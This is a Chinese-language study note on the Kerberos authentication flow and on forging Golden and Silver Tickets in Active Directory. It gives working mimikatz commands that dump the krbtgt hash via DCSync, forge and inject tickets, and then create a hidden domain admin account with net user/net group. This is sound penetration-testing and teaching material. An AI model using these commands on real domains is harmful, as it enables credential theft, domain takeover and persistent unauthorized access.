黄金票据与白银票据的简单理解
TGT(票据授权票):无法对任何服务进行访问,但是TGT可以认证用户的身份。(身份票据)
TGT有权限去申请其他服务的票据。获取到其他服务的票据后如邮件服务的票据,就可以访问邮件服务了。
可以理解:
黄金票据(TGT)就是身份票据
白银票据(SGT)就是服务票据
为什么要先去找TGT再去找服务,不能直接去找服务呢?因为服务没有办法验证用户的身份,需要域来进行介入
Kerberos协议认证流程
简单来说:
客户端先去找AS服务进行认证,获取身份票据TGT。
然后拿着TGT票据寻找TGS服务,获取服务票据。
拿着服务票据访问具体的服务
1、客户端发送自己的用户名给AS
2、AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息
TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密
TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密
3、用自己的NTLM哈希解密TGT1,获得TGS服务器信息以及session key(as),TGT2由于是别人的哈希,所以解不开
生成认证因子(客户端信息,当前时间)--session key(as)加密
发送认证因子以及TGT2给TGS服务
4、TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端
TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密
TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密
5、客户端解密TGT3,得到session key(TGS),服务器信息
生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密
发送认证因子2以及TGT4给服务器
6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期
利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务
1、KDC 服务默认会安装在一个域的域控中
Kerberos协议对于用户的认证上在域控中有的服务名称是:KDC。KDC包含了AS服务和TGS服务。
- (Authentication Service)AS服务下发身份票据TGT也就是黄金票据
- (Ticket Granting Service)TGS服务下发服务票据SGT也就是白银票据
2、从物理层面看,AD与KDC均为域控制器(Domain Controller)
3、AD其实是一个类似于本机SAM的一个数据库,全称叫account database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT
4、KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。KRBTGT hash可以理解为域管理员的哈希值,域控才有KRBTGT hash
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT (黄金票据)向 Server 发起认证请求,这个过程分为三块:
The Authentication Service Exchange:Client 与 AS 的交互,
The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互,
The Client/Server Authentication Exchange:Client 与 Server 的交互
黄金票据
就是伪造的TGT,AS的返回票。
利用条件
- 域名称
- 域的SID值
- 域的KRBTGT账号的HASH
- 伪造任意用户名
适用场景
由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码
利用方式
1、在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存
privilege::debug
lsadump::lsa /patch
mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi
/user:需要伪造的域管理员用户
/domain:域名称
/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
2、清除票据
kerberos::purge \\清除票据
kerberos::tgt \\查看票据
3、导入票据
kerberos::ptt ticket.kirbi
4、创建域管
net user a !@#qwe123 /add /domain
net group "domain admins" a /add /domain
白银票据
白银票据就是伪造的ST,TGS返回的票据
利用条件
- 域名
- 域sid
- 目标服务器名
- 可利用的服务
- 服务账号的NTML HASH
- 需要伪造的用户名
适用场景
知道服务器的Hash,可以访问服务器的某些服务而不用于kdc进行交互
利用方式
伪造票据
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt
用户名可随意填写
先使用mimikatz清空票据,再导入伪造的票据
金票和银票的区别
什么是黄金票据与白银票据?
黄金票据就是伪造了Kerberos协议中的身份票据(TGT)
黄金票据可以访问该用户身份的所有服务
白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)
白银票据只能访问某一个服务
使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。
获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限。
银票:伪造的ST,只能访问指定的服务,如文件服务器(CIFS)。
认证流程不同
金票:同KDC交互,但不同AS交互。
银票:不同KDC交互,直接访问Server。
加密方式不同
金票:由krbtgt NTLM Hash 加密。
银票:由服务账号 NTLM Hash 加密。